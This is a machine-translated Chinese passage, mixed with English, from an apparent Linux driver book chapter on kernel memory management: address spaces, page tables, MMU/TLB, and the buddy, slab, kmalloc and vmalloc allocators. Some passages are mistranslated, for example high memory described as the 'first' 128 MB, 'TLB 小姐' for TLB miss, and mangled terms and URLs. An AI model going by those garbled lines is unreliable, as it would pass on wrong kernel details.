Kernel addresses | - | | - | | - .------------------------.CONFIG_PAGE_OFFSET - | |(x86: 0xC0000000, ARM: 0x80000000) - | | - | | - | User space addresses | - | | - | | - | | - | | - '------------------------' 00000000 -``` - -内核和用户空间中使用的地址都是虚拟地址。不同的是,访问内核地址需要特权模式。特权模式具有扩展特权。当 CPU 运行用户空间端代码时,活动进程被说成是在用户模式下运行;当 CPU 运行内核空间端代码时,活动进程被称为在内核模式下运行。 - -Given an address (virtual of course), one can distinguish whether it is a kernel space or a user space address by using process layout shown above. Every address falling into 0-3 GB, comes from the user space; otherwise, it is from the kernel. - -内核与每个进程共享其地址空间是有原因的:因为在给定时刻,每个进程都使用系统调用,这将涉及内核。将内核的虚拟内存地址映射到每个进程的虚拟地址空间允许我们避免在内核的每个入口(和出口)切换出内存地址空间的成本。这就是为什么内核地址空间被永久地映射在每个进程的顶部,以便通过系统调用加速内核访问。 - -内存管理单元将内存组织成固定大小的单元,称为页面。一个页面由 4,096 字节(4 KB)组成。即使这个大小在其他系统上可能有所不同,但在 ARM 和 x86 上是固定的,这是我们感兴趣的架构: - -* 内存页、虚拟页或简称页是用来指代固定长度的连续虚拟内存块的术语。同名`page`作为内核数据结构来表示内存页面。 -* 另一方面,帧(或页面帧)是指物理内存的固定长度连续块,操作系统在其上映射内存页面。每个页面框架都有一个编号,称为**页面框架编号** ( **PFN** )。给定一个页面,使用`page_to_pfn`和`pfn_to_page`宏可以很容易地得到它的 PFN,反之亦然,这将在接下来的章节中详细讨论。 -* 页表是内核和架构数据结构,用于存储虚拟地址和物理地址之间的映射。密钥对页面/框架描述了页面表中的单个条目。这代表一种映射。 - -由于一个内存页面被映射到一个页面框架,不言而喻,页面和页面框架具有相同的大小,在我们的例子中为 4 K。页面的大小通过`PAGE_SIZE`宏在内核中定义。 - -There are situations where one needs memory to be page-aligned. One says a memory is page-aligned if its address starts exactly at the beginning of a page. For example, on a 4 K page size system, 4,096, 20,480, and 409,600 are instances of page-aligned memory addresses. In other words, any memory whose address is a multiple of the system page size is said to be page-aligned. - -# 内核地址–低内存和高内存的概念 - -Linux 内核有自己的虚拟地址空间,就像每个用户模式进程一样。内核的虚拟地址空间(在 3G/1G 分割中为 1 GB)分为两部分: - -* 低内存或低内存,即第一个 896 兆字节 -* 高内存或高内存,由前 128 兆字节表示 - -```sh - Physical mem - Process address space +------> +------------+ - | | 3200 M | - | | | - 4 GB +---------------+ <-----+ | HIGH MEM | - | 128 MB | | | - +---------------+ <---------+ | | - +---------------+ <------+ | | | - | 896 MB | | +--> +------------+ - 3 GB +---------------+ <--+ +-----> +------------+ - | | | | 896 MB | LOW MEM - | ///// | +---------> +------------+ - | | - 0 GB +---------------+ -``` - -# 内存不足 - -内核地址空间的第一个 896 兆字节构成了低内存区域。在引导的早期,内核永久地映射那些 896 兆字节。由该映射产生的地址称为**逻辑地址**。这些是虚拟地址,但可以通过减去固定偏移量转换为物理地址,因为映射是永久的,并且是预先已知的。低内存与物理地址的下限相匹配。可以将低内存定义为内核空间中存在逻辑地址的内存。大多数内核内存函数返回低内存。事实上,为了服务于不同的目的,内核内存被划分为一个区域。实际上,LOWMEM 的前 16 MB 是为 DMA 使用而保留的。由于硬件限制,内核不能将所有页面都视为相同。然后,我们可以在内核空间中识别三个不同的内存区域: - -* `ZONE_DMA`:包含 16 MB 以下的页面帧内存,预留给**直接内存访问** ( **DMA** ) -* `ZONE_NORMAL`:包含 16 MB 以上 896 MB 以下的页面帧内存,正常使用 -* `ZONE_HIGHMEM`:包含 896 MB 及以上的内存页面帧 - -也就是说,在一个 512 兆字节的系统中,不会有`ZONE_HIGHMEM`、`ZONE_DMA`有 16 兆字节、`ZONE_NORMAL`有 496 兆字节。 - -Another definition of logical addresses: addresses in kernel space, mapped linearly on physical addresses, which can be converted into physical addresses just with an offset, or applying a bitmask. One can convert a physical address into a logical address using the `__pa(address)` macro, and then revert with the `__va(address)` macro. - -# 高内存 - -内核地址空间的前 128 兆字节被称为高内存区域。它被内核用来临时映射 1 G 以上的物理内存,当需要访问 1 GB 以上(或者更准确地说,896 MB)的物理内存时,内核使用这 128 MB 创建到其虚拟地址空间的临时映射,从而达到能够访问所有物理页面的目标。可以将高内存定义为逻辑地址不存在,并且没有永久映射到内核地址空间的内存。896 兆以上的物理内存按需映射到 128 兆的高内存区域。 - -访问高内存的映射由内核动态创建,并在完成时销毁。这使得高内存访问速度变慢。也就是说,高内存的概念在 64 位系统上并不存在,这是由于巨大的地址范围(2 64 ),在这里 3G/1G 拆分不再有意义。 - -# 用户空间地址 - -在本节中,我们将通过流程来处理用户空间。每个进程在内核中都被表示为`struct task_struct`的一个实例(参见`*include/linux/sched.h*`,它表征并描述了一个进程。每个进程都有一个内存映射表,存储在一个类型为`struct mm_struct`的变量中(见`*include/linux/mm_types.h*`)。然后,您可以猜测每个`task_struct`中至少嵌入了一个`mm_struct`字段。下面一行是我们感兴趣的结构`task_struct`定义的一部分: - -```sh -struct task_struct{ - [...] - struct mm_struct *mm, *active_mm; - [...] -} -``` - -内核全局变量`current`,指向当前进程。字段`*mm`,指向其内存映射表。根据定义,`current->mm`指向当前进程内存映射表。 - -现在让我们看看`struct mm_struct`是什么样子的: - -```sh -struct mm_struct { - struct vm_area_struct *mmap; - struct rb_root mm_rb; - unsigned long mmap_base; - unsigned long task_size; - unsigned long highest_vm_end; - pgd_t * pgd; - atomic_t mm_users; - atomic_t mm_count; - atomic_long_t nr_ptes; -#if CONFIG_PGTABLE_LEVELS > 2 - atomic_long_t nr_pmds; -#endif - int map_count; - spinlock_t page_table_lock; - struct rw_semaphore mmap_sem; - unsigned long hiwater_rss; - unsigned long hiwater_vm; - unsigned long total_vm; - unsigned long locked_vm; - unsigned long pinned_vm; - unsigned long data_vm; - unsigned long exec_vm; - unsigned long stack_vm; - unsigned long def_flags; - unsigned long start_code, end_code, start_data, end_data; - unsigned long start_brk, brk, start_stack; - unsigned long arg_start, arg_end, env_start, env_end; - - /* Architecture-specific MM context */ - mm_context_t context; - - unsigned long flags; - struct core_state *core_state; -#ifdef CONFIG_MEMCG - /* - * "owner" points to a task that is regarded as the canonical - * user/owner of this mm. All of the following must be true in - * order for it to be changed: - * - * current == mm->owner - * current->mm != mm - * new_owner->mm == mm - * new_owner->alloc_lock is held - */ - struct task_struct __rcu *owner; -#endif - struct user_namespace *user_ns; - /* store ref to file /proc//exe symlink points to */ - struct file __rcu *exe_file; -}; -``` - -我故意删除了一些我们不感兴趣的领域。有一些字段我们将在后面讨论:`pgd`例如,它是指向进程的基(第一个入口)级`1`表(PGD)的指针,写在上下文切换时 CPU 的翻译表基地址中。总之,在继续之前,让我们看看进程地址空间的表示: - -![](img/00020.jpeg) - -Process memory layout - -从进程的角度来看,内存映射只不过是一组专用于连续虚拟地址范围的页表条目。那*连续的虚拟地址范围*叫做内存区,或者**虚拟内存区** ( **VMA** )。每个内存映射由起始地址和长度、权限(例如程序是否可以从该内存中读取、写入或执行)以及相关资源(例如物理页面、交换页面、文件内容等)来描述。 - -A `mm_struct`有两种方式存储工艺区域(VMA): - -1. 在红黑树中,其根元素由字段`mm_struct->mm_rb`指向。 -2. 在链表中,第一个元素被字段``mm_struct->mmap`` 指向。 - -# 虚拟存储区(VMA) - -内核使用虚拟内存区域来跟踪进程内存映射,例如,一个进程的代码有一个 VMA,每种类型的数据有一个 VMA,每个不同的内存映射(如果有)有一个 VMA,等等。虚拟机管理程序是独立于处理器的结构,具有权限和访问控制标志。每个 VMA 都有一个起始地址和一个长度,它们的大小总是页面大小的倍数(`PAGE_SIZE`)。VMA 由许多页面组成,每个页面在页面表中都有一个条目。 - -Memory regions described by VMA are always virtually contiguous, not physically. One can check all VMAs associated with a process through the `/proc//maps` file, or using the `pmap` command on a process ID. - -![](img/00021.jpeg) - -Image source: http://duartes.org/gustavo/blog/post/how-the-kernel-manages-your-memory/ - -```sh -# cat /proc/1073/maps -00400000-00403000 r-xp 00000000 b3:04 6438 /usr/sbin/net-listener -00602000-00603000 rw-p 00002000 b3:04 6438 /usr/sbin/net-listener -00603000-00624000 rw-p 00000000 00:00 0 [heap] -7f0eebe4d000-7f0eebe54000 r-xp 00000000 b3:04 11717 /usr/lib/libffi.so.6.0.4 -7f0eebe54000-7f0eec054000 ---p 00007000 b3:04 11717 /usr/lib/libffi.so.6.0.4 -7f0eec054000-7f0eec055000 rw-p 00007000 b3:04 11717 /usr/lib/libffi.so.6.0.4 -7f0eec055000-7f0eec069000 r-xp 00000000 b3:04 21629 /lib/libresolv-2.22.so -7f0eec069000-7f0eec268000 ---p 00014000 b3:04 21629 /lib/libresolv-2.22.so -[...] -7f0eee1e7000-7f0eee1e8000 rw-s 00000000 00:12 12532 /dev/shm/sem.thk-mcp-231016-sema -[...] -``` - -前面摘录中的每一行代表一个 VMA,字段映射如下模式:`{address (start-end)} {permissions} {offset} {device (major:minor)} {inode} {pathname (image)}`: - -* `address`:代表 VMA 的起止地址。 -* `permissions`:描述区域的访问权限:`r`(读)`w`(写)`x`(执行),包括`p`(如果映射是私有的)和`s`(对于共享映射)。 -* `Offset` **:** 在文件映射(`mmap`系统调用)的情况下,是文件中发生映射的偏移量。否则就是`0`了。 -* `major:minor` **:** 在文件映射的情况下,这些表示存储文件的设备(保存文件的设备)的主要和次要数量。 -* `inode`:从文件映射的情况下,映射文件的索引节点号。 -* `pathname`:这是映射文件的名称,否则留空。还有其他区域名,如`[heap]`、`[stack]`或`[vdso]`,代表虚拟动态共享对象,这是内核映射到每个进程地址空间的共享库,以减少系统调用切换到内核模式时的性能损失。 - -分配给进程的每个页面都属于一个区域;因此,任何不在 VMA 的网页都不存在,也不能被该进程引用。 - -High memory is perfect for user space because user space's virtual address must be explicitly mapped. Thus, most high memory is consumed by user applications. `__GFP_HIGHMEM` and `GFP_HIGHUSER` are the flags for requesting the allocation of (potentially) high memory. Without these flags, all kernel allocations return only low memory. There is no way to allocate contiguous physical memory from user space in Linux. - -可以使用`find_vma`功能找到对应于给定虚拟地址的 VMA。`find_vma`在`linux/mm.h`申报 *:* - -```sh -* Look up the first VMA which satisfies addr < vm_end, NULL if none. */ -extern struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr); -``` - -这是一个例子: - -```sh -struct vm_area_struct *vma = find_vma(task->mm, 0x13000); -if (vma == NULL) /* Not found ? */ - return -EFAULT; -if (0x13000 >= vma->vm_end) /* Beyond the end of returned VMA ? */ - return -EFAULT; -``` - -内存映射的全过程可以通过读取文件:`/proc//map`、`/proc//smap`、`/proc//pagemap`获得。 - -# 地址转换和内存管理单元 - -虚拟内存是一个概念,是赋予一个进程的幻觉,因此它认为自己拥有巨大的、几乎无限的内存,有时甚至超过了系统真正拥有的内存。每次访问一个存储单元时,由中央处理器进行从虚拟地址到物理地址的转换。这种机制被称为地址转换,由作为中央处理器一部分的**内存管理单元(MMU** )执行。 - -MMU 保护内存免受未经授权的访问。给定一个流程,任何需要访问的页面都必须存在于其中一个流程 VMA 中,因此必须存在于流程页面表中(每个流程都有自己的页面)。 - -内存是由固定大小的块组织的,命名为**页**用于虚拟内存,**帧**用于物理内存,在我们的例子中大小为 4 KB。无论如何,您不需要猜测为其编写驱动的系统的页面大小。它是用内核中的`PAGE_SIZE`宏定义和访问的。因此请记住,页面大小是由硬件(中央处理器)决定的。考虑到 4 KB 页面大小的系统,字节 0 到 4095 属于页面 0,字节 4096-8191 属于页面 1,依此类推。 - -引入页表的概念来管理页和框架之间的映射。页面分布在表格上,因此每个 PTE 对应于页面和框架之间的映射。然后给每个进程一组页表来描述它的整个内存空间。 - -为了遍历页面,每个页面都被分配了一个索引(像一个数组),称为页码。说到陷害,就是 PFN **。**这样,虚拟内存地址由两部分组成:一个页码和一个偏移量。偏移量代表地址的 12 个较低有效位,而在 8 KB 页面大小的系统中,13 个较低有效位代表它: - -![](img/00022.gif) - -Virtual address representation - -操作系统或中央处理器如何知道哪个物理地址对应于给定的虚拟地址?他们使用页表作为翻译表,并且知道每个条目的索引是一个虚拟页码,值是 PFN。要访问给定虚拟内存的物理内存,操作系统首先提取偏移量、虚拟页码,然后遍历进程的页表,以便将虚拟页码与物理页匹配。一旦出现匹配,就可以将数据访问到该页面框架中: - -![](img/00023.gif) - -Address translation - -偏移量用于指向框架中的正确位置。页表不仅保存物理和虚拟页码之间的映射,还保存访问控制信息(读/写访问、特权等)。 - -![](img/00024.jpeg) - -Virtual to physical address translation - -用于表示偏移的位数由内核宏`PAGE_SHIFT`定义。`PAGE_SHIFT`是向左移动一位以获得`PAGE_SIZE`值的位数。将虚拟地址转换为页码,将物理地址转换为页帧号,也是需要右移的位数。以下是内核源代码*中`/include/asm-generic/page.h`对这些宏的定义:* - -```sh -#define PAGE_SHIFT 12 -#ifdef __ASSEMBLY__ -#define PAGE_SIZE (1 << PAGE_SHIFT) -#else -#define PAGE_SIZE (1UL << PAGE_SHIFT) -#endif -``` - -页表是部分解决方案。让我们看看为什么。大多数架构需要 32 位(4 字节)来表示一个 PTE。每个进程都有其私有的 3 GB 用户空间地址,我们需要 786,432 个条目来表征和覆盖一个进程地址空间。它表示每个进程花费了太多的物理内存,只是为了描述内存映射的特征。事实上,一个进程通常使用其虚拟地址空间的一小部分,但又是分散的。为了解决这个问题,引入了*级*的概念。页表是按级别(页级)分级的。存储多级页表所需的空间仅取决于实际使用的虚拟地址空间,而不是与虚拟地址空间的最大大小成比例。这样,未使用的内存不再被表示,页表遍历时间减少。这样,级别 N 中的每个表条目将指向级别 N+1 的表中的一个条目。1 级是更高的级别。 - -Linux 使用四层分页模型: - -* **页面全局目录** ( **PGD** ):是第一级(一级)页面表。每个条目的类型在内核中都是`pgd_t`(通常是`unsigned long`),并指向第二级表中的一个条目。在内核中,结构`tastk_struct`表示一个进程的描述,该描述又有一个成员(`mm`)其类型为`mm_struct`,该成员表征并表示进程的内存空间。在`mm_struct`中,有一个特定于处理器的字段`pgd`,它是进程的 1 级(PGD)页表的第一个条目(条目 0)上的指针。每个进程只有一个 PGD,最多可包含 1024 个条目。 -* **P** **时代上层目录** ( **PUD** ):这仅存在于使用四层表的架构上。它代表间接的社会层次。 -* **P** **时代中间目录** ( **PMD** ):这是第三个间接层,只存在于使用四层表的架构上。 -* **页表** ( **PTE** ):树叶。它是`pte_t`的数组,每个条目指向物理页面。 - -All levels are not always used. The i.MX6's MMU only supports a 2 level page table (`PGD` and `PTE`), it is the case for almost all 32-bit CPUs) In this case, `PUD` and `PMD` are simply ignored. - -![](img/00025.jpeg) - -Two-level tables overview - -你可能会问 MMU 是如何知道进程页表的。很简单,MMU 不存储任何地址。相反,在中央处理器中有一个特殊的寄存器,称为**页表基址寄存器** ( **PTBR** )或**翻译表基址寄存器 0** ( **TTBR0** ),它指向进程的 1 级(顶级)页表(PGD)的基址(入口 0)。正是`struct mm_struct`的场`pdg`指向的地方:`current->mm.pgd == TTBR0`。 - -在上下文切换时(当一个新的进程被调度并被给予中央处理器时),内核立即配置内存管理单元,并用新进程的`pgd`更新 PTBR。现在,当给 MMU 一个虚拟地址时,它使用 PTBR 的内容来定位进程的 1 级页表(PGD),然后它使用从虚拟地址的**最高有效位** ( **MSBs** )中提取的 1 级索引来找到适当的表条目,该表条目包含指向适当的 2 级页表的基址的指针。然后,从该基址开始,它使用二级索引来查找适当的条目,以此类推,直到到达 PTE。ARM 架构(在我们的例子中是 MX6)有一个两级页表。在这种情况下,2 级条目是一个 PTE,并指向物理页面(PFN)。在这个步骤中,只找到物理页面。为了访问页面中的确切内存位置,MMU 提取内存偏移量,也是虚拟地址的一部分,并指向物理页面中的相同偏移量。 - -当一个进程需要读取或写入一个内存位置(当然我们说的是虚拟内存)时,MMU 会对该进程的页表进行翻译,以找到正确的条目(`PTE`)。虚拟页号被提取(从虚拟地址中)并被处理器用作进程页表的索引,以检索其页表条目。如果在该偏移量处存在有效的页表条目,则处理器从该条目中获取页帧号。如果不是,这意味着该进程访问了其虚拟内存的未映射区域。然后会出现页面错误,操作系统应该会处理它。 - -在现实世界中,地址转换需要一次页表遍历,而且并不总是一次性操作。至少有和表级别一样多的内存访问。四级页表需要四次内存访问。换句话说,每次虚拟访问将导致五次物理内存访问。如果虚拟内存的访问速度比物理内存慢四倍,那么虚拟内存的概念将毫无用处。幸运的是,SoC 制造商努力寻找一个巧妙的技巧来解决这个性能问题:现代 CPU 使用一个名为**翻译后备缓冲区** ( **TLB** )的小型关联和非常快速的内存,以便缓存最近访问的虚拟页面的 pte。 - -# 向上看,TLB - -在 MMU 进行地址转换之前,还涉及到另一个步骤。因为有一个缓存用于最近访问的数据,所以也有一个缓存用于最近转换的地址。由于数据缓存加快了数据访问过程,TLB 加快了虚拟地址转换(是的,地址转换是一项棘手的任务。它是内容可寻址存储器,缩写为( **CAM** ,其中键是虚拟地址,值是物理地址。换句话说,TLB 是内存管理单元的缓存。每次访问内存时,内存管理单元首先检查 TLB 最近使用的页面,其中包含一些物理页面当前分配到的虚拟地址范围。 - -# TLB 是如何运作的 - -在虚拟内存访问中,中央处理器遍历 TLB,试图找到正在访问的页面的虚拟页码。这一步叫做 TLB 查找。当找到一个 TLB 条目(匹配发生)时,有人说有一个 **TLB 命中**,而中央处理器只是继续运行,并使用在 TLB 条目中找到的 PFN 来计算目标物理地址。当 TLB 命中发生时,没有页面错误。可以看到,只要能在 TLB 找到翻译,虚拟内存的访问就会像物理访问一样快。如果没有找到 TLB 的条目(没有匹配发生),人们会说有一个 **TLB 小姐**。 - -在 TLB 未命中事件中,有两种可能性,取决于处理器类型,TLB 未命中事件可以由软件处理,或者由硬件通过 MMU 处理: - -* **软件处理**:CPU 发出 TLB 未命中中断,被操作系统捕捉到。然后,操作系统遍历进程的页表以找到正确的 PTE。如果有匹配且有效的条目,则中央处理器在 TLB 安装新的翻译。否则,将执行页面错误处理程序。 -* **硬件处理**:在硬件中遍历进程的页表是由 CPU(实际上是 MMU)决定的。如果有匹配且有效的条目,则中央处理器在 TLB 中添加新的翻译。否则,中央处理器会引发页面错误中断,由操作系统处理。 - -在这两种情况下,页面错误处理程序是相同的:执行`do_page_fault()`函数,这是依赖于架构的。对于 ARM,`do_page_fault`在`arch/arm/mm/fault.c`中定义: - -![](img/00026.jpeg) - -MMU and TLB walkthrough process Page table and Page directory entries are architecture-dependent. It is up to the Operating system to ensure that the structure of the table corresponds to a structure recognized by the MMU. On the ARM processor, you must write the location of the translation table in CP15 (coprocessor 15) register c2, and then enable the caches and the MMU by writing to the CP15 register c1\. Have a look at both [http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0056d/BABHJIBH.htm](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0056d/BABHJIBH.htm) and [http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0433c/CIHFDBEJ.html](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0433c/CIHFDBEJ.html) for detailed information. - -# 内存分配机制 - -让我们看看下图,它向我们展示了基于 Linux 的系统上存在的不同内存分配器,我们稍后将讨论它: - -Inspired from: [http://free-electrons.com/doc/training/linux-kernel/linux-kernel-slides.pdf](http://free-electrons.com/doc/training/linux-kernel/linux-kernel-slides.pdf). - -![](img/00027.jpeg) - -Overview of kernel memory allocator - -有一个分配机制来满足任何类型的内存请求。根据你需要什么样的记忆,你可以选择更接近你目标的记忆。主分配器是**页面分配器**,它只处理页面(页面是它能提供的最小内存单元)。然后是建立在页面分配器之上的 **SLAB 分配器**,从它那里获取页面并返回更小的内存实体(通过 SLAB 和缓存)。这是 **kmalloc 分配器**所依赖的分配器。 - -# 页面分配器 - -页面分配器是 Linux 系统上的低级分配器,是其他分配器所依赖的。系统的物理内存由固定大小的块(称为页面帧)组成。页面框架在内核中表示为`struct page`结构的一个实例。页面是操作系统在低级别上给予任何内存请求的最小内存单元。 - -# 页面分配应用编程接口 - -您将会理解内核页面分配器使用伙伴算法分配和解除分配页面块。页面被分配在大小为 2 的幂的块中(以便从伙伴算法中获得最佳效果)。这意味着它可以分配一块 1 页、2 页、4 页、8 页、16 页等等: - -1. `alloc_pages(mask, order)`分配 2 个顺序页面,并返回一个表示保留块的第一页的`struct page`实例。要仅分配一页,顺序应为 0。这就是`alloc_page(mask)`所做的: - -```sh -struct page *alloc_pages(gfp_t mask, unsigned int order) -#define alloc_page(gfp_mask) alloc_pages(gfp_mask, 0) -``` - -`__free_pages()`用于释放`alloc_pages()`功能分配的内存。它将指向已分配页面的指针作为参数,其顺序与用于分配的顺序相同。 - -```sh -void __free_pages(struct page *page, unsigned int order); -``` - -2. 还有其他函数以同样的方式工作,但是它们返回的不是 struct page 的实例,而是保留块的地址(当然是虚拟的)。这些是`__get_free_pages(mask, order)`和`__get_free_page(mask)`: - -```sh -unsigned long __get_free_pages(gfp_t mask, unsigned int order); -unsigned long get_zeroed_page(gfp_t mask); -``` - -`free_pages()`用于释放`__get_free_pages()`分配的页面。它采用代表已分配页面的开始区域的内核地址,以及顺序,顺序应该与用于分配的顺序相同: - -```sh -free_pages(unsigned long addr, unsigned int order); -``` - -在这两种情况下,`mask`指定请求的细节,即内存区域和分配器的行为。可用选项有: - -* `GFP_USER`,为用户分配内存。 -* `GFP_KERNEL`,内核分配的常用标志。 -* `GFP_HIGHMEM`**向高 MEM 区请求内存。** -*** `GFP_ATOMIC`,以不能休眠的原子方式分配内存。当需要从中断上下文中分配内存时使用。** - - **使用`GFP_HIGHMEM`有警告,不宜与`__get_free_pages()`(或`__get_free_page()`)一起使用。因为不能保证 HIGHMEM 内存是连续的,所以不能返回从该区域分配的内存的地址。在内存相关功能中,全局只允许`GFP_*`的一个子集: - -```sh -unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order) -{ - struct page *page; - - /* - * __get_free_pages() returns a 32-bit address, which cannot represent - * a highmem page - */ - VM_BUG_ON((gfp_mask & __GFP_HIGHMEM) != 0); - - page = alloc_pages(gfp_mask, order); - if (!page) - return 0; - return (unsigned long) page_address(page); -} -``` - -The maximum number of pages one can allocate is 1024\. It means that on a 4 Kb sized system, you can allocate up to 1024*4 Kb = 4 MB at most. It is the same for `kmalloc`. - -# 转换函数 - -`page_to_virt()`函数用于将结构页(如`alloc_pages()`返回的)转换为内核地址。`virt_to_page()`获取一个内核虚拟地址,并返回其关联的结构页面实例(就像它是使用`alloc_pages()`函数分配的一样)。`virt_to_page()`和`page_to_virt()`均在``中定义: - -```sh -struct page *virt_to_page(void *kaddr); -void *page_to_virt(struct page *pg) -``` - -宏`page_address()`可用于返回对应于结构页实例的起始地址(当然是逻辑地址)的虚拟地址: - -```sh -void *page_address(const struct page *page) -``` - -我们可以看到它是如何在`get_zeroed_page()`功能中使用的: - -```sh -unsigned long get_zeroed_page(unsigned int gfp_mask) -{ - struct page * page; - - page = alloc_pages(gfp_mask, 0); - if (page) { - void *address = page_address(page); - clear_page(address); - return (unsigned long) address; - } - return 0; -} -``` - -`__free_pages()`和`free_pages()`可以混合。它们之间的主要区别在于`free_page()`采用虚拟地址作为参数,而`__free_page()`采用`struct page`结构。 - -# 平板分配器 - -平板分配器是`kmalloc()`所依赖的。其主要目的是消除在小容量内存分配情况下由伙伴系统引起的内存(de)分配导致的碎片,并加快常用对象的内存分配。 - -# 伙伴算法 - -为了分配内存,请求的大小被舍入到 2 的幂,伙伴分配器搜索适当的列表。如果请求的列表中不存在条目,则来自下一个较高列表(具有两倍于前一个列表大小的块)的条目被分成两半(称为**好友**)。分配器使用前半部分,而另一半被添加到下一个列表中。这是一种递归方法,当伙伴分配器成功找到一个我们可以分割的块,或者达到块的最大大小并且没有可用的空闲块时,这种方法就会停止。 - -以下案例研究的灵感来源于[http://烦躁不安. net/operating systems 1/4 _ allocation _ buddy _ system . html](http://dysphoria.net/OperatingSystems1/4_allocation_buddy_system.html)。例如,如果最小分配大小为 1 KB,内存大小为 1 MB,伙伴分配器将为 1 KB 孔创建一个空列表,为 2 KB 孔创建一个空列表,为 4 KB 孔、8 KB、16 KB、32 KB、64 KB、128 KB、256 KB、512 KB 创建一个空列表,为 1 MB 孔创建一个列表。除了只有一个孔的 1 MB 列表外,所有列表最初都是空的。 - -现在让我们想象一个场景,我们想要分配一个 **70K** 块。好友分配器将其向上舍入到 **128K** ,最终将 1 MB 分成两个 **512K** 块,然后是 **256K** ,最后是 **128K** ,然后将其中一个 **128K** 块分配给用户。以下是总结这种情况的方案: - -![](img/00028.jpeg) - -Allocation using buddy algorithm - -解除分配和分配一样快。下图总结了解除分配算法: - -![](img/00029.jpeg) - -Deallocation using buddy algorithm - -# 平板分配器之旅 - -在介绍 slab 分配器之前,让我们定义它使用的一些术语: - -* **Slab** :这是一个连续的物理内存,由几个页面帧组成。每个块被分成相同大小的相等块,用于存储特定类型的内核对象,如信息节点、互斥体等。每个板就是一个对象数组。 -* **缓存**:由链表中的一个或多个片组成,它们在内核中表示为`struct kmem_cache_t`结构的实例。缓存只存储相同类型的对象(例如,只存储信息节点,或者只存储地址空间结构) - -板坯可能处于以下状态之一: - -* **空**:这是平板上所有物体(块)被标记为自由的地方 -* **部分**:板中既有已用对象,也有自由对象 -* **满**:平板上的所有物体都标记为已使用 - -内存分配器负责构建缓存。最初,每个板都标记为空。当一个(代码)为内核对象分配内存时,系统会在该类型对象的缓存中的部分/空闲块上寻找该对象的空闲位置。如果没有找到,系统会分配一个新的板并将其添加到缓存中。新对象从该板分配,该板标记为**部分**。当代码使用内存完成时(释放内存),对象只是以其初始化状态返回到 slab 缓存。 - -这就是为什么内核还提供帮助函数来获取清零的初始化内存,以摆脱之前的内容。slab 会记录正在使用的对象数量,这样当缓存中的所有 slab 都已满并且请求另一个对象时,slab 分配器就会负责添加新的 slab: - -![](img/00030.jpeg) - -Slab cache overview - -这有点像创建每个对象的分配器。系统为每种类型的对象分配一个缓存,只有相同类型的对象才能存储在一个缓存中(例如,只有`task_struct`结构)。 - -内核中有不同类型的 slab 分配器,这取决于是否需要紧凑性、缓存友好性或原始速度: - -* 尽可能紧凑的 **SLOB** -* 尽可能缓存友好的 **SLAB** -* **SLUB** ,相当简单,需要较少的指令成本计数 - -# kmalloc 系列分配 - -`kmalloc`是一个内核内存分配函数,比如用户空间中的`malloc()`。`kmalloc`返回的内存在物理内存和虚拟内存中是连续的: - -![](img/00031.jpeg) - -kmalloc 分配器是内核中通用的、更高级别的内存分配器,它依赖于 SLAB 分配器。从 kmalloc 返回的内存有一个内核逻辑地址,因为它是从`LOW_MEM`区域分配的,除非指定`HIGH_MEM`。它在``中声明,这是在您的驱动中使用 kmalloc 时要包含的标题。以下是原型: - -```sh -void *kmalloc(size_t size, int flags); -``` - -`size`指定要分配的内存大小(以字节为单位)。`flag`确定内存应该如何分配以及分配到哪里。可用标志与页面分配器相同(`GFP_KERNEL`、`GFP_ATOMIC`、`GFP_DMA`等等)。 - -* `GFP_KERNEL`:这是标准旗。我们不能在中断处理程序中使用这个标志,因为它的代码可能会休眠。它总是从`LOM_MEM`区返回内存(因此是一个逻辑地址)。 -* `GFP_ATOMIC`:这保证了分配的原子性。当我们处于中断上下文中时唯一使用的标志。请不要滥用这个,因为它使用了一个紧急内存池。 - -* `GFP_USER`:这给用户空间进程分配内存。然后,内存与分配给内核的内存是不同的。 -* `GFP_HIGHUSER`:这将从`HIGH_MEMORY`区域分配内存 -* `GFP_DMA`:这是从`DMA_ZONE`分配内存。 - -成功分配内存后,kmalloc 会返回已分配区块的虚拟地址,保证物理上是连续的。出错时,返回`NULL`。 - -Kmalloc 在分配小容量内存时依赖于 SLAB 缓存。在这种情况下,内核将分配的区域大小舍入到它可以容纳的最小 SLAB 缓存的大小。始终将其用作默认内存分配器。在本书使用的体系结构(ARM 和 x86)中,每次分配的最大大小为 4 MB,总分配为 128 MB。看看[https://kai wantech . WordPress . com/2011/08/17/kmalloc-and-vmalloc-Linux-内核-内存-分配-api-limits/。](https://kaiwantech.wordpress.com/2011/08/17/kmalloc-and-vmalloc-linux-kernel-memory-allocation-api-limits/) - -`kfree`功能用于释放 kmalloc 分配的内存。以下是`kfree()`的原型; - -```sh -void kfree(const void *ptr) -``` - -让我们看一个例子: - -```sh -#include -#include -#include -#include - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("John Madieu"); - -void *ptr; - -static int -alloc_init(void) -{ - size_t size = 1024; /* allocate 1024 bytes */ - ptr = kmalloc(size,GFP_KERNEL); - if(!ptr) { - /* handle error */ - pr_err("memory allocation failed\n"); - return -ENOMEM; - } - else - pr_info("Memory allocated successfully\n"); - return 0; -} - -static void alloc_exit(void) -{ - kfree(ptr); - pr_info("Memory freed\n"); -} - -module_init(alloc_init); -module_exit(alloc_exit); -``` - -其他类似家庭的功能有: - -```sh -void kzalloc(size_t size, gfp_t flags); -void kzfree(const void *p); -void *kcalloc(size_t n, size_t size, gfp_t flags); -void *krealloc(const void *p, size_t new_size, gfp_t flags); -``` - -`krealloc()`是用户空间`realloc()`功能的内核等价物。因为`kmalloc()`返回的内存保留了其先前版本的内容,如果它暴露在用户空间中,可能会有安全风险。要获取清零的 kmalloced 内存,应该使用`kzalloc`。`kzfree()`是`kzalloc()`的释放函数,而`kcalloc()`为一个数组分配内存,其参数`n`和`size`分别代表数组中元素的个数和元素的大小。 - -Since `kmalloc()` returns a memory area in the kernel permanent mapping (which mean physically contiguous), the memory address can be translated to a physical address using `virt_to_phys()`, or to a IO bus address using `virt_to_bus()`. These macros internally call either `__pa()` or `__va()`if necessary. The physical address (`virt_to_phys(kmalloc'ed address)`), downshifted by `PAGE_SHIFT` , will produce a PFN of the first page from which the chunk is allocated. - -# vmalloc 分配程序 - -`vmalloc()`是我们将在书中讨论的最后一个内核分配器。它只返回虚拟空间上连续的内存(不是物理上连续的): - -![](img/00032.jpeg) - 